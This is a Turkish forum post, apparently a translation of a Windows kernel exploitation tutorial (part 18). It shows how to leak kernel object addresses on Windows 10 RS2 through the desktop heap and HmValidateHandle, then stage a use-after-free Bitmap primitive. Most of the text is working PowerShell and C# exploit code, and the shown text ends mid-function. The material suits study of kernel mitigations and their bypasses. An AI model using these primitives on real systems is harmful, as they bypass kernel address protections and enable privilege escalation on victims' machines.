Windows Exploit Geliştirme Serisi #18 | Kernel Exploitation -> RS2 Bitmap Necromancy

Provido

Katılımcı Üye
21 Eki 2015
477
1
Bölüm 18: Kernel Exploitation -> RS2 Bitmap Necromancy

Merhaba ve Windows Kernel istismar serisinin başka bir bölümüne tekrar hoş geldiniz! Boş zamanım olmadığı için son gönderimden bu yana epey bir zaman geçti, ancak PSKernel-Primitives depomda iyi miktarda kod koyup iyileştiriyorum, bu yüzden PowerShell Kernel ile ilgileniyorsanız lütfen bir göz atın.

Bugün çok sevilen Bitmap çekirdeğimizi Windows 10 RS2'de yeniden canlandıracağız. @Mwrlabs için burada yıl dönümü baskısında mevcut olan yeni azaltma işlemlerinin nasıl atlanacağının ayrıntılarını anlatan bir blog yazısı yazdığım için RS1'i atlıyoruz.

Windows nesnelerini masaüstü yığınından sızdırmak için iki farklı teknikten geçeceğiz ve ardından bu nesneleri kullanarak Bitmap'leri sızdıracağız. Daha fazla arka plan bilgisi için aşağıdaki kaynaklara başvurmanızı şiddetle tavsiye ederim. Her neyse, bu kadar mızmız, hadi başlayalım!


Kaynaklar:


+ Win32k Dark Composition: Attacking the Shadow part of Graphic subsystem (Peng Qui & SheFang Zhong => 360Vulcan) - buradan
+ LPE vulnerabilities exploitation on Windows 10 Anniversary Update (Drozdov Yurii & Drozdova Liudmila) -
buradan
+ Morten Schenk's tweet revealing the first technique (@Blomster81) - buradan
+ Abusing GDI for ring0 exploit primitives: reloaded (@NicoEconomou & Diego Juarez) - buradan https://twitter.com/Blomster81/status/844544024224710656
+ A Tale Of Bitmaps: Leaking GDI Objects Post Windows 10 Anniversary Edition (@FuzzySec) - buradan
+ PSKernel-Primitives (@FuzzySec) - buradan
+ Windows RS2 HmValidateHandle Write-What-Where (@FuzzySec) - buradan


Sızıntıları tıkamak


Microsoft'un Bitmap sızıntılarını önlemek için uyguladığı azaltıcı etkenleri ve bunların her yinelemede nasıl atlandığını kısaca listelemek iyi olur. Ana yapı sürümleri aşağıda referans olarak kullanılmaktadır.

Windows 10 v1511

+ Bu noktada hiçbir azaltma yoktur.
+ Sızıntı yapmak için, PEB'den GdiSharedHandleTable için bir tutamaç aldık, doğru GDI_CELL yapısını bulmak için bir arama yaptık ve ardından Bitmap SURFOBJ'nin Kernel adresini açıklayan pKernelAddress'i okuduk. Örnek kod bulunabilir burada.

Windows 10 RS1 v1607

+ Microsoft, GDI_CELL yapısında pKernelAddress'i geçersiz kılarak eski infoleak'i öldürdü.
+ Sevilen Bitmap'imiz (sayfalı havuz) ile aynı havuzda bulunan birkaç nesnenin sızdırılabileceği bulundu. Bu, user32'den gSharedInfo (global değişken) adresini alarak, aheList HANDLEENTRY dizisinin adresini okuyarak, doğru dizi girişini bularak ve son olarak nesnenin çekirdek adresini elde etmek için phead öğesini okuyarak elde edildi. Bit eşlemimizin adresini doğrudan alamasak da, büyük boyutlu nesneleri işlemek / sızdırmak (düşük entropili büyük bir havuzda son bulmasını sağlamak) ve ardından orijinal nesnenin serbest olduğu bir UAF tarzı saldırı gerçekleştirmek mümkündü. 'd ve yerine ayrılan Bitmap. Örnek kod bulunabilir burada.

Windows 10 RS2 v1703

+ Bunu bilmiyor muydunuz, Microsoft phead işaretçisini geçersiz kılarak sızıntıyı ortadan kaldırdı.
+ Bu yazıda, Windows nesnelerini sızdırmak için kullanıcı eşlemeli Masaüstü yığınını nasıl kullanabileceğimizi ve daha önce yaptığımıza benzer şekilde, Bitmap ilkelimizi yeniden kazanmak için UAF tarzı bir saldırı gerçekleştireceğimizi tartışacağız!



x1sq56.jpg




Sızıntı 1 => TEB.Win32ClientInfo


Yapmak istediğimiz ilk şey, tagWND ve tagCLS Pencere yapıları için Kernel adreslerini sızdırmaktır. İkinci sızıntının anlaşılması için daha iyi bir arka plan sağladığı için Morten sızıntısı ile başlayacağız.

Aşağıdaki tweet, kullanıcı eşlemeli Masaüstü öbeğinin adresini sızdırmak için ihtiyacımız olan tüm ayrıntıları ve kullanıcı modu sürümünden çekirdek modu sürümüne (ulClientDelta) ofsetin nasıl hesaplanacağını bize veriyor.



RS2-Desktop2.jpg




Görünüşe göre kullanıcı modu sürümüne işaretçi TEB.Win32ClientInfo + 0x28'de saklanıyor ve çekirdek modu sürümüne işaretçi bu adresten başka bir 0x28'de saklanıyor. İstemci deltası ise basitçe çekirdek adresi eksi kullanıcı adresidir. PowerShell'de bu verileri bizim için çeken bir şeyi kolayca komut dosyası oluşturabiliriz.



Kod:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
 
[StructLayout(LayoutKind.Sequential)]
public struct _THREAD_BASIC_INFORMATION
{
    public IntPtr ExitStatus;
    public IntPtr TebBaseAddress;
    public IntPtr ClientId;
    public IntPtr AffinityMask;
    public IntPtr Priority;
    public IntPtr BasePriority;
}
 
public static class TEB
{
    [DllImport("ntdll.dll")]
    public static extern int NtQueryInformationThread(
        IntPtr hThread, 
        int ThreadInfoClass,
        ref _THREAD_BASIC_INFORMATION ThreadInfo,
        int ThreadInfoLength,
        ref int ReturnLength);
 
    [DllImport("kernel32.dll")]
    public static extern IntPtr GetCurrentThread();
}
"@
 
# Pseudo handle => -2
$CurrentHandle = [TEB]::GetCurrentThread()
 
# ThreadBasicInformation
$THREAD_BASIC_INFORMATION = New-Object _THREAD_BASIC_INFORMATION
$THREAD_BASIC_INFORMATION_SIZE = [System.Runtime.InteropServices.Marshal]::SizeOf($THREAD_BASIC_INFORMATION)
 
$RetLen = New-Object Int
$CallResult = [TEB]::NtQueryInformationThread($CurrentHandle,0,[ref]$THREAD_BASIC_INFORMATION,$THREAD_BASIC_INFORMATION_SIZE,[ref]$RetLen)
 
$TEBBase = $THREAD_BASIC_INFORMATION.TebBaseAddress
$TEB_Win32ClientInfo = [Int64]$TEBBase+0x800
$TEB_UserKernelDesktopHeap = [System.Runtime.InteropServices.Marshal]::ReadInt64([Int64]$TEBBase+0x828)
$TEB_KernelDesktopHeap = [System.Runtime.InteropServices.Marshal]::ReadInt64($TEB_UserKernelDesktopHeap+0x28)
 
echo "`n[+] _TEB.Win32ClientInfo:     $('{0:X16}' -f $TEB_Win32ClientInfo)"
echo "[+] User Mapped Desktop Heap: $('{0:X16}' -f $TEB_UserKernelDesktopHeap)"
echo "[+] Kernel Desktop Heap:      $('{0:X16}' -f $TEB_KernelDesktopHeap)"
echo "[+] ulClientDelta:            $('{0:X16}' -f ($TEB_KernelDesktopHeap-$TEB_UserKernelDesktopHeap)



POC'umuzu çalıştırmak aşağıdaki çıktıyı verir.



RS2-Desktop3.jpg




Bu değerleri KD'de kısaca teyit edebiliriz.



RS2-Desktop4.jpg




Masaüstü yığınının analizi bu yazının kapsamı dışındadır, daha fazla bilgi için buraya göz atabilirsiniz.


Masaüstü Yığını Tarama


Harika, sonraki adım bir Pencere nesnesi oluşturmak ve bulmak için Masaüstü Yığını taramaktır. Microsoft, insanların tagWND ve tagCLS (..iç çekmek :d? ..) için sembollere ihtiyaç duymadığına karar verdiğinden (Windows 8'den sonra), bu yapılara Windows 7'de hızlıca bir göz atacağız.



RS2-Desktop5.jpg




Gördüğümüz gibi tagWND'nin ilk IntPtr boyutlu değeri Pencere tutamacısıdır (CreateWindow / Ex tarafından döndürülür). Ayrıca tagWND-> THRDESKHEAD-> pSelf'in Kernel'de tagWND için bir işaretçi olduğuna ve aslında ulClientDelta'yı kullanıcı tagWND'den Kernel tagWND'yi çıkararak hesaplayabileceğimize dikkat edin. Unutulmaması gereken son bir nokta, tagWND ve tagCLS yapılarının Windows 10 RS2'de değiştirilmiş olmasıdır. Işık tersine çevrilmesi, aşağıdaki ilgili ofset değişikliklerini gösterdi.


x64 RS2 Öncesi (15063)

+ Pencere tutamacı => 0x0
+ pSelf => 0x20
+ pcls => 0x98
+ lpszMenuNameOffset => pcls + 0x88


x64 RS2 Sonrası (15063)

+ Pencere tutamacı => 0x0
+ pSelf => 0x20
+ pcls => 0xa8
+ lpszMenuNameOffset => pcls + 0x90


Masaüstü Yığınında bir Pencereyi bulmak oldukça basittir, Masaüstü Yığının tabanından başlayarak IntPtr boyutlu değerleri okuyabilir ve bunları belirli bir Pencere tutamacıyla karşılaştırabiliriz. Bir eşleşme bulduğumuzda, tagWND yapısının başlangıcına ofsetimiz olduğunu biliyoruz. POC'umuzu güncelleyelim ve bir deneyelim.



Kod:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
 
[StructLayout(LayoutKind.Sequential)]
public struct _THREAD_BASIC_INFORMATION
{
    public IntPtr ExitStatus;
    public IntPtr TebBaseAddress;
    public IntPtr ClientId;
    public IntPtr AffinityMask;
    public IntPtr Priority;
    public IntPtr BasePriority;
}
 
public class DesktopHeapGDI
{   
    delegate IntPtr WndProc(IntPtr hWnd, uint msg, IntPtr wParam, IntPtr lParam);
 
    [System.Runtime.InteropServices.StructLayout(LayoutKind.Sequential,CharSet=CharSet.Unicode)]
    struct WNDCLASS
    {
        public uint style;
        public IntPtr lpfnWndProc;
        public int cbClsExtra;
        public int cbWndExtra;
        public IntPtr hInstance;
        public IntPtr hIcon;
        public IntPtr hCursor;
        public IntPtr hbrBackground;
        [MarshalAs(UnmanagedType.LPWStr)]
        public string lpszMenuName;
        [MarshalAs(UnmanagedType.LPWStr)]
        public string lpszClassName;
    }
     
    [System.Runtime.InteropServices.DllImport("user32.dll", SetLastError = true)]
    static extern System.UInt16 RegisterClassW(
        [System.Runtime.InteropServices.In] ref WNDCLASS lpWndClass
    );
 
    [System.Runtime.InteropServices.DllImport("user32.dll", SetLastError = true)]
    static extern IntPtr CreateWindowExW(
        UInt32 dwExStyle,
        [MarshalAs(UnmanagedType.LPWStr)]
        string lpClassName,
        [MarshalAs(UnmanagedType.LPWStr)]
        string lpWindowName,
        UInt32 dwStyle,
        Int32 x,
        Int32 y,
        Int32 nWidth,
        Int32 nHeight,
        IntPtr hWndParent,
        IntPtr hMenu,
        IntPtr hInstance,
        IntPtr lpParam
    );
 
    [System.Runtime.InteropServices.DllImport("user32.dll", SetLastError = true)]
    static extern System.IntPtr DefWindowProcW(
        IntPtr hWnd,
        uint msg,
        IntPtr wParam,
        IntPtr lParam
    );
 
    [System.Runtime.InteropServices.DllImport("user32.dll", SetLastError = true)]
    static extern bool DestroyWindow(
        IntPtr hWnd
    );
 
    [DllImport("ntdll.dll")]
    public static extern int NtQueryInformationThread(
        IntPtr hThread, 
        int ThreadInfoClass,
        ref _THREAD_BASIC_INFORMATION ThreadInfo,
        int ThreadInfoLength,
        ref int ReturnLength);
 
    [DllImport("kernel32.dll")]
    public static extern IntPtr GetCurrentThread();
 
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern **** DebugBreak();
 
    private IntPtr m_hwnd;
    public IntPtr CustomWindow(string class_name, string menu_name)
    {
        m_wnd_proc_delegate = CustomWndProc;
 
        WNDCLASS wind_class = new WNDCLASS();
        wind_class.lpszClassName = class_name;
        wind_class.lpszMenuName = menu_name;
        wind_class.lpfnWndProc = System.Runtime.InteropServices.Marshal.GetFunctionPointerForDelegate(m_wnd_proc_delegate);
 
        UInt16 class_atom = RegisterClassW(ref wind_class);
        m_hwnd = CreateWindowExW(
            0,
            class_name,
            String.Empty,
            0,
            0,
            0,
            0,
            0,
            IntPtr.Zero,
            IntPtr.Zero,
            IntPtr.Zero,
            IntPtr.Zero
        );
        return m_hwnd;
    }
 
    private static IntPtr CustomWndProc(IntPtr hWnd, uint msg, IntPtr wParam, IntPtr lParam)
    {
        return DefWindowProcW(hWnd, msg, wParam, lParam);
    }
 
    private WndProc m_wnd_proc_delegate;
}
"@
 
 
#------------------[Create Window]
 
# Call nonstatic public method => delegWndProc
$DesktopHeapGDI = New-Object DesktopHeapGDI
 
# Menu name buffer
$Buff = "A"*0x8F0
$Handle = $DesktopHeapGDI.CustomWindow("TestWindow",$Buff)
#$Handle.ToInt64()
echo "`n[+] Window handle: $Handle"
 
#------------------[Leak Desktop Heap]
 
# Pseudo handle => -2
$CurrentHandle = [DesktopHeapGDI]::GetCurrentThread()
 
# ThreadBasicInformation
$THREAD_BASIC_INFORMATION = New-Object _THREAD_BASIC_INFORMATION
$THREAD_BASIC_INFORMATION_SIZE = [System.Runtime.InteropServices.Marshal]::SizeOf($THREAD_BASIC_INFORMATION)
 
$RetLen = New-Object Int
$CallResult = [DesktopHeapGDI]::NtQueryInformationThread($CurrentHandle,0,[ref]$THREAD_BASIC_INFORMATION,$THREAD_BASIC_INFORMATION_SIZE,[ref]$RetLen)
 
$TEBBase = $THREAD_BASIC_INFORMATION.TebBaseAddress
$TEB_Win32ClientInfo = [Int64]$TEBBase+0x800
$TEB_UserKernelDesktopHeap = [System.Runtime.InteropServices.Marshal]::ReadInt64([Int64]$TEBBase+0x828)
$TEB_KernelDesktopHeap = [System.Runtime.InteropServices.Marshal]::ReadInt64($TEB_UserKernelDesktopHeap+0x28)
$ulClientDelta = $TEB_KernelDesktopHeap - $TEB_UserKernelDesktopHeap
 
echo "`n[+] _TEB.Win32ClientInfo:     $('{0:X16}' -f $TEB_Win32ClientInfo)"
echo "[+] User Mapped Desktop Heap: $('{0:X16}' -f $TEB_UserKernelDesktopHeap)"
echo "[+] Kernel Desktop Heap:      $('{0:X16}' -f $TEB_KernelDesktopHeap)"
echo "[+] ulClientDelta:            $('{0:X16}' -f $ulClientDelta)"
 
#------------------[Parse User Desktop Heap]
 
echo "`n[+] Parsing Desktop heap.."
for ($i=0;$i -lt 0xFFFFF;$i=$i+8) {
    $ReadHandle = [System.Runtime.InteropServices.Marshal]::ReadInt64($TEB_UserKernelDesktopHeap + $i)
    if ($ReadHandle -eq $Handle.ToInt64()) {
        echo "[!] w00t, found handle!"
        $UsertagWND = $TEB_UserKernelDesktopHeap + $i
        $KerneltagCLS = [System.Runtime.InteropServices.Marshal]::ReadInt64($UsertagWND + 0xa8)
        break
    }
}
 
echo "`n[+] User tagWND: $('{0:X16}' -f $($UsertagWND))"
echo "[+] User tagCLS: $('{0:X16}' -f $($KerneltagCLS-$ulClientDelta))"
echo "[+] Kernel tagWND: $('{0:X16}' -f $($UsertagWND+$ulClientDelta))"
echo "[+] Kernel tagCLS: $('{0:X16}' -f $($KerneltagCLS))"
echo "[+] Kernel tagCLS.lpszMenuName: $('{0:X16}' -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($KerneltagCLS-$ulClientDelta+0x90)))`n"
 
#------------------[Break]
Start-Sleep -s 20
[DesktopHeapGDI]::DebugBreak()



Bu tür bir okuma işlemini yaparken ek yük yoktur, aşağıdaki sonuçları hemen geri alırız. PowerShell isteminin geri dönmediğine dikkat edin, bunun nedeni komut dosyası çıkmadan önce kesmemiz gerektiğidir.



RS2-Desktop6.jpg




KD'deki bazı hızlı dq / db'ler, ilgili tüm ofsetleri başarıyla hesapladığımızı gösteriyor.



RS2-Desktop7.jpg




Sızıntı 2 => User32 :: HmValidateHandle


HmValidateHandle'ın kullanımı ilk olarak @kernelpool tarafından 2011 tarihli Kernel Attacks through User-Mode Callbacks adlı makalesinde tartışıldı ve daha sonra, Fancy Bear tarafından istismar edilen CVE-2016-7255 dahil olmak üzere bir dizi istismarda kullanıldı.

HmValidateHandle, bir Window nesnesine bir tutamaç sağlayabildiğimiz ve işaretçiyi Masaüstü Öbek üzerindeki kullanıcı eşlemeli tagWND nesnesine geri döndürdüğü için çok ilginç bir fonksiyondur, o kadar da kullanışlı değil! Böylelikle tüm TEB ayrıştırmasını ve kaba zorlamayı aşabiliriz. Tek sorun, HmValidateHandle'ın User32 tarafından dışa aktarılmamasıdır, bu nedenle adresini almak için bazı hileler yapmamız ve ardından bir temsilci atmamız gerekir.

Birçok genel hesaptan HmValidateHandle'ın dışa aktarılan User32 :: IsMenu işlevine yakın olduğunu anlıyoruz, hadi KD'de buna bir göz atalım.



RS2-Desktop8.jpg




Gerçekten acısız bir güzel! Tek yapmamız gereken, User32 :: IsMenu'nun çalışma zamanı adresini almak, 0xE8'in ilk oluşumunu aramak ve işaretçiyi temsilci olarak atamaktır. Bunu yapmak için aşağıdaki PowerShell kod parçacığını kullanabiliriz.



Kod:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
 
public class HmValidateHandleBitmap
{
    delegate IntPtr WndProc(
        IntPtr hWnd,
        uint msg,
        IntPtr wParam,
        IntPtr lParam);
 
    [StructLayout(LayoutKind.Sequential,CharSet=CharSet.Unicode)]
    struct WNDCLASS
    {
        public uint style;
        public IntPtr lpfnWndProc;
        public int cbClsExtra;
        public int cbWndExtra;
        public IntPtr hInstance;
        public IntPtr hIcon;
        public IntPtr hCursor;
        public IntPtr hbrBackground;
        [MarshalAs(UnmanagedType.LPWStr)]
        public string lpszMenuName;
        [MarshalAs(UnmanagedType.LPWStr)]
        public string lpszClassName;
    }
 
    [DllImport("user32.dll")]
    static extern System.UInt16 RegisterClassW(
        [In] ref WNDCLASS lpWndClass);
 
    [DllImport("user32.dll")]
    public static extern IntPtr CreateWindowExW(
        UInt32 dwExStyle,
        [MarshalAs(UnmanagedType.LPWStr)]
        string lpClassName,
        [MarshalAs(UnmanagedType.LPWStr)]
        string lpWindowName,
        UInt32 dwStyle,
        Int32 x,
        Int32 y,
        Int32 nWidth,
        Int32 nHeight,
        IntPtr hWndParent,
        IntPtr hMenu,
        IntPtr hInstance,
        IntPtr lpParam);
 
    [DllImport("user32.dll")]
    static extern System.IntPtr DefWindowProcW(
        IntPtr hWnd,
        uint msg,
        IntPtr wParam,
        IntPtr lParam);
 
    [DllImport("user32.dll")]
    public static extern bool DestroyWindow(
        IntPtr hWnd);
 
    [DllImport("user32.dll")]
    public static extern bool UnregisterClass(
        String lpClassName,
        IntPtr hInstance);
 
    [DllImport("kernel32",CharSet=CharSet.Ansi)]
    public static extern IntPtr LoadLibrary(
        string lpFileName);
 
    [DllImport("kernel32",CharSet=CharSet.Ansi,ExactSpelling=true)]
    public static extern IntPtr GetProcAddress(
        IntPtr hModule,
        string procName);
 
    public delegate IntPtr HMValidateHandle(
        IntPtr hObject,
        int Type);
 
    [DllImport("gdi32.dll")]
    public static extern IntPtr CreateBitmap(
        int nWidth,
        int nHeight,
        uint cPlanes,
        uint cBitsPerPel,
        IntPtr lpvBits);
 
    public UInt16 CustomClass(string class_name, string menu_name)
    {
        m_wnd_proc_delegate = CustomWndProc;
        WNDCLASS wind_class = new WNDCLASS();
        wind_class.lpszClassName = class_name;
        wind_class.lpszMenuName = menu_name;
        wind_class.lpfnWndProc = System.Runtime.InteropServices.Marshal.GetFunctionPointerForDelegate(m_wnd_proc_delegate);
        return RegisterClassW(ref wind_class);
    }
 
    private static IntPtr CustomWndProc(IntPtr hWnd, uint msg, IntPtr wParam, IntPtr lParam)
    {
        return DefWindowProcW(hWnd, msg, wParam, lParam);
    }
 
    private WndProc m_wnd_proc_delegate;
}
"@
 
#------------------[Create/Destroy Window]
# Call nonstatic public method => delegWndProc
$AtomCreate = New-Object HmValidateHandleBitmap
 
function Create-WindowObject {
    $MenuBuff = "A"*0x8F0
    $hAtom = $AtomCreate.CustomClass("BitmapStager",$MenuBuff)
    [HmValidateHandleBitmap]::CreateWindowExW(0,"BitmapStager",[String]::Empty,0,0,0,0,0,[IntPtr]::Zero,[IntPtr]::Zero,[IntPtr]::Zero,[IntPtr]::Zero)
}
 
function Destroy-WindowObject {
    param ($Handle)
    $CallResult = [HmValidateHandleBitmap]::DestroyWindow($Handle)
    $CallResult = [HmValidateHandleBitmap]::UnregisterClass("BitmapStager",[IntPtr]::Zero)
}
 
#------------------[Cast HMValidateHandle]
function Cast-HMValidateHandle {
    $hUser32 = [HmValidateHandleBitmap]::LoadLibrary("user32.dll")
    $lpIsMenu = [HmValidateHandleBitmap]::GetProcAddress($hUser32, "IsMenu")
     
    # Get HMValidateHandle pointer
    for ($i=0;$i-lt50;$i++) {
        if ($([System.Runtime.InteropServices.Marshal]::ReadByte($lpIsMenu.ToInt64()+$i)) -eq 0xe8) {
            $HMValidateHandleOffset = [System.Runtime.InteropServices.Marshal]::ReadInt32($lpIsMenu.ToInt64()+$i+1)
            [IntPtr]$lpHMValidateHandle = $lpIsMenu.ToInt64() + $i + 5 + $HMValidateHandleOffset
        }
    }
 
    if ($lpHMValidateHandle) {
        # Cast IntPtr to delegate
        [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($lpHMValidateHandle,[HmValidateHandleBitmap+HMValidateHandle])
    }
}
 
#------------------[Window Leak]
function Leak-lpszMenuName {
    param($WindowHandle)
    $OSVersion = [Version](Get-WmiObject Win32_OperatingSystem).Version
    $OSMajorMinor = "$($OSVersion.Major).$($OSVersion.Minor)"
    if ($OSMajorMinor -eq "10.0" -And $OSVersion.Build -ge 15063) {
        $pCLSOffset = 0xa8
        $lpszMenuNameOffset = 0x90
    } else {
        $pCLSOffset = 0x98
        $lpszMenuNameOffset = 0x88
    }
 
    # Cast HMValidateHandle & get window desktop heap pointer
    $HMValidateHandle = Cast-HMValidateHandle
    $lpUserDesktopHeapWindow = $HMValidateHandle.Invoke($WindowHandle,1)
 
    # Calculate all the things
    $ulClientDelta = [System.Runtime.InteropServices.Marshal]::ReadInt64($lpUserDesktopHeapWindow.ToInt64()+0x20) - $lpUserDesktopHeapWindow.ToInt64()
    $KerneltagCLS = [System.Runtime.InteropServices.Marshal]::ReadInt64($lpUserDesktopHeapWindow.ToInt64()+$pCLSOffset)
    $lpszMenuName = [System.Runtime.InteropServices.Marshal]::ReadInt64($KerneltagCLS-$ulClientDelta+$lpszMenuNameOffset)
 
    echo "`n[+] ulClientDelta:              $('{0:X16}' -f $ulClientDelta)"
    echo "[+] User tagWND:                $('{0:X16}' -f $($lpUserDesktopHeapWindow.ToInt64()))"
    echo "[+] User tagCLS:                $('{0:X16}' -f $($KerneltagCLS-$ulClientDelta))"
    echo "[+] Kernel tagWND:              $('{0:X16}' -f $($lpUserDesktopHeapWindow.ToInt64()+$ulClientDelta))"
    echo "[+] Kernel tagCLS:              $('{0:X16}' -f $($KerneltagCLS))"
    echo "[+] Kernel tagCLS.lpszMenuName: $('{0:X16}' -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($KerneltagCLS-$ulClientDelta+0x90)))`n"
}
 
$hWindow = Create-WindowObject
echo "`n[+] Window handle: $hWindow"
Leak-lpszMenuName -WindowHandle $hWindow



Yukarıda POC'yi çalıştırmak bize aslında ilk sızıntıyla aynı sonucu verir, ancak daha az adımla!



RS2-Desktop9.jpg




Use-After-Free-Bitmap


Yine de, sanırım okuyucunun sorusu, Windows nesnelerini neden önemsiyoruz? Bitmap'im nerede seni adi? Pencere menü adı (lpszMenuName), bitmap'imiz ile aynı Kernel havuzunda tahsis edilmiştir. Buradaki fikir, büyük bir Pencere menü adı ayırmamız, onu serbest bırakmamız ve daha sonra boş belleği yeniden kullanacak olan Bitmap'imizi tahsis etmemizdir. Bu biraz zor görünüyor, ancak menü adını 4kb'den daha büyük yaparsak, düşük entropiye sahip büyük havuzda sona erer ve bu UAF tarzı sızıntıyı% 100 güvenilir kılar. Bu işlem Hızlandırıcı Tabloları kullanan RS1 baypas işlemiyle neredeyse aynıdır.


Aşağıdaki görüntü bu süreci göstermektedir.



RS2-Desktop10.png




Bunu başarmak için kullanılan PowerShell işlevi aşağıda görülebilir. Daha mantıklı bir yorum için lütfen PSKernel-Primitives deposuna bakın.



Kod:
function Stage-HmValidateHandleBitmap {
<#
.SYNOPSIS
    Universal x64 Bitmap leak using HmValidateHandle.
    Targets: 7, 8, 8.1, 10, 10 RS1, 10 RS2
    Resources:
        + Win32k Dark Composition: Attacking the Shadow part of Graphic subsystem <= 360Vulcan
        + LPE vulnerabilities exploitation on Windows 10 Anniversary Update <= Drozdov Yurii & Drozdova Liudmila
 
.DESCRIPTION
    Author: Ruben Boonen (@FuzzySec)
    License: BSD 3-Clause
    Required Dependencies: None
    Optional Dependencies: None
 
.EXAMPLE
    PS C:\Users\b33f> Stage-HmValidateHandleBitmap |fl
     
    BitmapKernelObj : -7692235059200
    BitmappvScan0   : -7692235059120
    BitmapHandle    : 1845828432
     
    PS C:\Users\b33f> $Manager = Stage-HmValidateHandleBitmap
    PS C:\Users\b33f> "{0:X}" -f $Manager.BitmapKernelObj
    FFFFF901030FF000
#>
    Add-Type -TypeDefinition @"
    using System;
    using System.Diagnostics;
    using System.Runtime.InteropServices;
    using System.Security.Principal;
     
    public class HmValidateHandleBitmap
    {   
        delegate IntPtr WndProc(
            IntPtr hWnd,
            uint msg,
            IntPtr wParam,
            IntPtr lParam);
     
        [StructLayout(LayoutKind.Sequential,CharSet=CharSet.Unicode)]
        struct WNDCLASS
        {
            public uint style;
            public IntPtr lpfnWndProc;
            public int cbClsExtra;
            public int cbWndExtra;
            public IntPtr hInstance;
            public IntPtr hIcon;
            public IntPtr hCursor;
            public IntPtr hbrBackground;
            [MarshalAs(UnmanagedType.LPWStr)]
            public string lpszMenuName;
            [MarshalAs(UnmanagedType.LPWStr)]
            public string lpszClassName;
        }
     
        [DllImport("user32.dll")]
        static extern System.UInt16 RegisterClassW(
            [In] ref WNDCLASS lpWndClass);
     
        [DllImport("user32.dll")]
        public static extern IntPtr CreateWindowExW(
            UInt32 dwExStyle,
            [MarshalAs(UnmanagedType.LPWStr)]
            string lpClassName,
            [MarshalAs(UnmanagedType.LPWStr)]
            string lpWindowName,
            UInt32 dwStyle,
            Int32 x,
            Int32 y,
            Int32 nWidth,
            Int32 nHeight,
            IntPtr hWndParent,
            IntPtr hMenu,
            IntPtr hInstance,
            IntPtr lpParam);
     
        [DllImport("user32.dll")]
        static extern System.IntPtr DefWindowProcW(
            IntPtr hWnd,
            uint msg,
            IntPtr wParam,
            IntPtr lParam);
     
        [DllImport("user32.dll")]
        public static extern bool DestroyWindow(
            IntPtr hWnd);
     
        [DllImport("user32.dll")]
        public static extern bool UnregisterClass(
            String lpClassName,
            IntPtr hInstance);
     
        [DllImport("kernel32",CharSet=CharSet.Ansi)]
        public static extern IntPtr LoadLibrary(
            string lpFileName);
     
        [DllImport("kernel32",CharSet=CharSet.Ansi,ExactSpelling=true)]
        public static extern IntPtr GetProcAddress(
            IntPtr hModule,
            string procName);
     
        public delegate IntPtr HMValidateHandle(
            IntPtr hObject,
            int Type);
     
        [DllImport("gdi32.dll")]
        public static extern IntPtr CreateBitmap(
            int nWidth,
            int nHeight,
            uint cPlanes,
            uint cBitsPerPel,
            IntPtr lpvBits);
     
        public UInt16 CustomClass(string class_name, string menu_name)
        {
            m_wnd_proc_delegate = CustomWndProc;
            WNDCLASS wind_class = new WNDCLASS();
            wind_class.lpszClassName = class_name;
            wind_class.lpszMenuName = menu_name;
            wind_class.lpfnWndProc = System.Runtime.InteropServices.Marshal.GetFunctionPointerForDelegate(m_wnd_proc_delegate);
            return RegisterClassW(ref wind_class);
        }
     
        private static IntPtr CustomWndProc(IntPtr hWnd, uint msg, IntPtr wParam, IntPtr lParam)
        {
            return DefWindowProcW(hWnd, msg, wParam, lParam);
        }
     
        private WndProc m_wnd_proc_delegate;
    }
"@
     
    #------------------[Create/Destroy Window]
    # Call nonstatic public method => delegWndProc
    $AtomCreate = New-Object HmValidateHandleBitmap
     
    function Create-WindowObject {
        $MenuBuff = "A"*0x8F0
        $hAtom = $AtomCreate.CustomClass("BitmapStager",$MenuBuff)
        [HmValidateHandleBitmap]::CreateWindowExW(0,"BitmapStager",[String]::Empty,0,0,0,0,0,[IntPtr]::Zero,[IntPtr]::Zero,[IntPtr]::Zero,[IntPtr]::Zero)
    }
     
    function Destroy-WindowObject {
        param ($Handle)
        $CallResult = [HmValidateHandleBitmap]::DestroyWindow($Handle)
        $CallResult = [HmValidateHandleBitmap]::UnregisterClass("BitmapStager",[IntPtr]::Zero)
    }
     
    #------------------[Cast HMValidateHandle]
    function Cast-HMValidateHandle {
        $hUser32 = [HmValidateHandleBitmap]::LoadLibrary("user32.dll")
        $lpIsMenu = [HmValidateHandleBitmap]::GetProcAddress($hUser32, "IsMenu")
         
        # Get HMValidateHandle pointer
        for ($i=0;$i-lt50;$i++) {
            if ($([System.Runtime.InteropServices.Marshal]::ReadByte($lpIsMenu.ToInt64()+$i)) -eq 0xe8) {
                $HMValidateHandleOffset = [System.Runtime.InteropServices.Marshal]::ReadInt32($lpIsMenu.ToInt64()+$i+1)
                [IntPtr]$lpHMValidateHandle = $lpIsMenu.ToInt64() + $i + 5 + $HMValidateHandleOffset
            }
        }
     
        if ($lpHMValidateHandle) {
            # Cast IntPtr to delegate
            [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($lpHMValidateHandle,[HmValidateHandleBitmap+HMValidateHandle])
        }
    }
     
    #------------------[lpszMenuName Leak]
    function Leak-lpszMenuName {
        param($WindowHandle)
        $OSVersion = [Version](Get-WmiObject Win32_OperatingSystem).Version
        $OSMajorMinor = "$($OSVersion.Major).$($OSVersion.Minor)"
        if ($OSMajorMinor -eq "10.0" -And $OSVersion.Build -ge 15063) {
            $pCLSOffset = 0xa8
            $lpszMenuNameOffset = 0x90
        } else {
            $pCLSOffset = 0x98
            $lpszMenuNameOffset = 0x88
        }
     
        # Cast HMValidateHandle & get window desktop heap pointer
        $HMValidateHandle = Cast-HMValidateHandle
        $lpUserDesktopHeapWindow = $HMValidateHandle.Invoke($WindowHandle,1)
     
        # Calculate ulClientDelta & leak lpszMenuName
        $ulClientDelta = [System.Runtime.InteropServices.Marshal]::ReadInt64($lpUserDesktopHeapWindow.ToInt64()+0x20) - $lpUserDesktopHeapWindow.ToInt64()
        $KerneltagCLS = [System.Runtime.InteropServices.Marshal]::ReadInt64($lpUserDesktopHeapWindow.ToInt64()+$pCLSOffset)
